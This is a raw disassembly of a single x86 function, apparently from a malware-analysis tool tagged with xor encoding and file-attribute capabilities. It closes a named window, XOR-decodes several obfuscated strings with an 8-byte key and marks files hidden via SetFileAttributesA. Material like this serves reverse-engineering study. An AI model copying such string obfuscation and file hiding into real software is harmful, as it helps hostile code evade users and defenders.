Function at 0x42520e
Capabilities:
Encode data using xor
Set file attributes

Disassembly:
push 0x2c0
mov eax, 0x58349d
call fcn.00560e29
push dword [ebp + 8]
xor ebx, ebx
push ebx
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x4259d6
push ebx
push ebx
push 0x10
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
cmp dword [0x69882c], 1
jne 0x42533c
mov dword [ebp - 0x10], 0x58fa7c
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42529b
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
pop ecx
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x425292
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
inc edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x425279
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x224]
call fcn.00424676
and dword [ebp - 4], 0
mov dword [ebp - 0x10], 0x58fc4c
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x425303
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
pop ecx
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x4252fa
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
inc edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x4252e1
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x224]
push edi
push eax
call fcn.0042163d
push dword [ebp + 8]
lea eax, [ebp - 0x224]
push eax
call fcn.0042163d
add esp, 0x10
lea ecx, [ebp - 0x224]
call fcn.004251dc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x224]
call fcn.004247cb
cmp dword [0x69883c], 1
jne 0x425593
lea eax, [ebp - 0x24]
push eax
call fcn.005660ac
lea eax, [ebp - 0x24]
push eax
call fcn.00565e0d
mov dword [ebp - 0x10], 0x58fac8
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
pop ecx
add edi, 0x14
mov dword [ebp - 0x14], eax
cmp byte [ebx + 0x13], 0
pop ecx
je 0x4253b4
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x10], eax
pop ecx
test esi, esi
je 0x4253ab
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebx + 0xf]
jb 0x425390
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0xd4]
call fcn.00424676
mov dword [ebp - 0x10], 0x58fae0
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 1
cmp byte [ebx + 0x13], 0
je 0x425421
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x10], eax
pop ecx
test esi, esi
je 0x425418
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebx + 0xf]
jb 0x4253fd
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
lea eax, [ebp - 0xd4]
push edi
push eax
call fcn.0042163d
push dword [ebp - 0x14]
call fcn.00565c00
push eax
lea eax, [ebp - 0xd4]
push eax
call fcn.0042163d
mov dword [ebp - 0x10], 0x58fc70
add esp, 0x14
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42549a
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x10], eax
pop ecx
test esi, esi
je 0x425491
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebx + 0xf]
jb 0x425476
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
lea eax, [ebp - 0xd4]
push edi
push eax
call fcn.0042163d
push dword [ebp + 8]
lea eax, [ebp - 0xd4]
push eax
call fcn.0042163d
mov dword [ebp - 0x10], 0x58fb28
add esp, 0x10
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42550d
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x10], eax
pop ecx
test esi, esi
je 0x425504
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebx + 0xf]
jb 0x4254e9
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
lea eax, [ebp - 0xd4]
push edi
push eax
call fcn.0042163d
pop ecx
pop ecx
lea ecx, [ebp - 0xd4]
call fcn.004251dc
mov dword [ebp - 0x10], 0x58fac8
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42557b
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x10], eax
pop ecx
test esi, esi
je 0x425572
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebx + 0xf]
jb 0x425557
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd4]
call fcn.004247cb
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x4259d6
cmp dword [0x69882c], 1
jne 0x425727
mov dword [ebp - 0x10], 0x58fa7c
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x425612
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x10], eax
pop ecx
test esi, esi
je 0x425609
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebx + 0xf]
jb 0x4255ee
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x2cc]
call fcn.00424676
mov dword [ebp - 0x10], 0x58fb64
mov edi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x10]
add ebx, 0x14
mov dword [ebp - 4], 2
mov dword [ebp - 0x1c], ebx
cmp byte [edi + 0x13], 0
je 0x425685
mov esi, dword [edi + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x10], eax
pop ecx
test esi, esi
je 0x425679
sub ebx, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + edi + 7]
xor al, byte [ebx + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [edi + 0xf]
jb 0x42565e
mov eax, dword [edi + 0xf]
mov ebx, edx
mov dword [ebp - 0x1c], edx
mov byte [edx + eax], 0
mov dword [ebp - 0x10], 0x58fc94
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 0x14], eax
cmp byte [eax + 0x13], 0
je 0x4256ea
mov esi, dword [eax + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, dword [ebp - 0x14]
pop ecx
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], eax
test esi, esi
je 0x4256e1
mov ebx, ecx
sub edi, ebx
lea ecx, [eax + ebx]
and eax, 7
mov al, byte [eax + edx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [edx + 0xf]
jb 0x4256c0
mov ebx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
mov eax, dword [edx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x2cc]
push edi
push eax
call fcn.0042163d
pop ecx
pop ecx
push eax
call fcn.0042163d
pop ecx
pop ecx
push eax
call fcn.0042163d
pop ecx
pop ecx
lea ecx, [ebp - 0x2cc]
call fcn.004251dc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2cc]
call fcn.004247cb
cmp dword [0x69883c], 1
jne 0x4259d1
lea eax, [ebp - 0x2c]
push eax
call fcn.005660ac
lea eax, [ebp - 0x2c]
push eax
call fcn.00565e0d
mov dword [ebp - 0x14], 0x58fac8
mov ebx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x14]
pop ecx
add edi, 0x14
mov dword [ebp - 0x18], eax
cmp byte [ebx + 0x13], 0
pop ecx
je 0x42579f
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x14], eax
pop ecx
test esi, esi
je 0x425796
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, dword [ebx + 0xf]
jb 0x42577b
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x17c]
call fcn.00424676
mov dword [ebp - 0x14], 0x58fae0
mov ebx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x14]
add edi, 0x14
mov dword [ebp - 4], 3
cmp byte [ebx + 0x13], 0
je 0x42580a
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
pop ecx
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x14], ecx
test esi, esi
je 0x425801
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
inc edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x14]
cmp edx, dword [ebx + 0xf]
jb 0x4257e8
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x17c]
push edi
push eax
call fcn.0042163d
push dword [ebp - 0x18]
call fcn.00565c00
push eax
lea eax, [ebp - 0x17c]
push eax
call fcn.0042163d
mov dword [ebp - 0x14], 0x58fcb8
add esp, 0x14
mov edi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x14]
add ebx, 0x14
mov dword [ebp - 0x18], ebx
cmp byte [edi + 0x13], 0
je 0x425887
mov esi, dword [edi + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
pop ecx
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x14], ecx
test esi, esi
je 0x42587b
sub ebx, ecx
mov eax, edx
add ecx, edx
and eax, 7
mov al, byte [eax + edi + 7]
xor al, byte [ebx + ecx]
inc edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x14]
cmp edx, dword [edi + 0xf]
jb 0x425862
mov eax, dword [edi + 0xf]
mov ebx, ecx
mov dword [ebp - 0x18], ecx
mov byte [ecx + eax], 0
mov dword [ebp - 0x14], 0x58fc70
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x14]
add edi, 0x14
mov dword [ebp - 0x1c], eax
cmp byte [eax + 0x13], 0
je 0x4258e7
mov esi, dword [eax + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
and dword [ebp - 0x10], 0
mov edx, dword [ebp - 0x1c]
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
test esi, esi
je 0x4258de
mov ebx, dword [ebp - 0x10]
sub edi, ecx
mov eax, ebx
add ecx, ebx
and eax, 7
mov al, byte [eax + edx + 7]
xor al, byte [edi + ecx]
inc ebx
mov byte [ecx], al
mov ecx, dword [ebp - 0x14]
cmp ebx, dword [edx + 0xf]
jb 0x4258c2
mov ebx, dword [ebp - 0x18]
mov eax, dword [edx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x17c]
push edi
push eax
call fcn.0042163d
pop ecx
pop ecx
push eax
call fcn.0042163d
pop ecx
pop ecx
push eax
call fcn.0042163d
mov dword [ebp - 0x14], 0x58fb28
mov ebx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x14]
pop ecx
add edi, 0x14
cmp byte [ebx + 0x13], 0
pop ecx
je 0x42595c
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
pop ecx
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x14], ecx
test esi, esi
je 0x425953
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
inc edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x14]
cmp edx, dword [ebx + 0xf]
jb 0x42593a
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x17c]
push edi
push eax
call fcn.0042163d
pop ecx
pop ecx
lea ecx, [ebp - 0x17c]
call fcn.004251dc
mov dword [ebp - 0x14], 0x58fac8
mov ebx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x14]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x4259c8
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
pop ecx
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x14], ecx
test esi, esi
je 0x4259bf
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
inc edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x14]
cmp edx, dword [ebx + 0xf]
jb 0x4259a6
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.00425a12
mov al, 1
call fcn.00560e06
ret